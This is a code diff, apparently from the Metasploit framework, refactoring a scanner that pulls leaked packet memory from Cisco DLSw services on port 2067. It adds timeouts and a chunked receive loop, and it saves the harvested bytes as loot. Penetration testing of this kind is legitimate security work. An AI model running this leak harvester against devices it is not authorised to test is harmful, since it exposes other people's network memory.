@@ -38,13 +38,21 @@ def initialize
38
38
register_options (
39
39
[
40
40
Opt ::RPORT ( 2067 ) ,
41
- OptInt . new ( 'LEAK_AMOUNT' , [ true , 'The number of bytes to store before shutting down.' , 1024 ] )
41
+ OptInt . new ( 'LEAK_AMOUNT' , [ true , 'The number of bytes to store before shutting down.' , 1024 ] ) ,
42
+ OptInt . new ( 'RESPONSE_TIMEOUT' , [ true , 'Number of seconds to wait for a server response' , 5 ] )
42
43
] , self . class )
43
44
end
44
45
46
+ def peer
47
+ peer = "#{ rhost } :#{ rport } "
48
+ end
49
+
50
+ def response_timeout
51
+ datastore [ 'RESPONSE_TIMEOUT' ]
52
+ end
53
+
45
54
# Called when using check
46
55
def check_host ( ip )
47
- peer = "#{ ip } :#{ rport } "
48
56
print_status ( "Checking #{ peer } for DLSw exposure" )
49
57
response = get_response
50
58
@@ -70,20 +78,37 @@ def check_host(ip)
70
78
71
79
def get_response ( size = 1024 )
72
80
connect
73
- response = sock . recv ( size )
81
+ response = get_data ( size )
74
82
disconnect
75
83
response
76
84
end
77
85
86
+ # Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
87
+ def get_data ( length = -1 )
88
+
89
+ return sock . get_once ( -1 , response_timeout ) if length == -1
90
+
91
+ to_receive = length
92
+ data = ''
93
+ while to_receive > 0
94
+ temp = sock . get_once ( to_receive , response_timeout )
95
+ break if temp . nil?
96
+
97
+ data << temp
98
+ to_receive -= temp . length
99
+ end
100
+ data
101
+ end
102
+
78
103
# Main method
79
104
def run_host ( ip )
80
105
return unless check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
81
106
82
- print_status ( "#{ ip } : #{ rport } Waiting for #{ datastore [ 'LEAK_AMOUNT' ] } bytes of leaked data" )
107
+ print_status ( "#{ peer } : Waiting for #{ datastore [ 'LEAK_AMOUNT' ] } bytes of leaked data" )
83
108
84
109
dlsw_data = ''
85
110
until dlsw_data . length > datastore [ 'LEAK_AMOUNT' ]
86
- response = get_response
111
+ response = get_response ( 72 )
87
112
unless response . blank?
88
113
dlsw_data << response [ 18 ..72 ] # range of the leaked packet contents
89
114
end
@@ -100,6 +125,7 @@ def loot_and_report(dlsw_data)
100
125
'DLSw_leaked_data' ,
101
126
'DLSw packet memory leak'
102
127
)
103
- print_status ( "#{ ip } : #{ rport } : DLSw leaked data stored in #{ path } " )
128
+ print_status ( "#{ peer } : DLSw leaked data stored in #{ path } " )
104
129
end
105
130
end
131
+
0 commit comments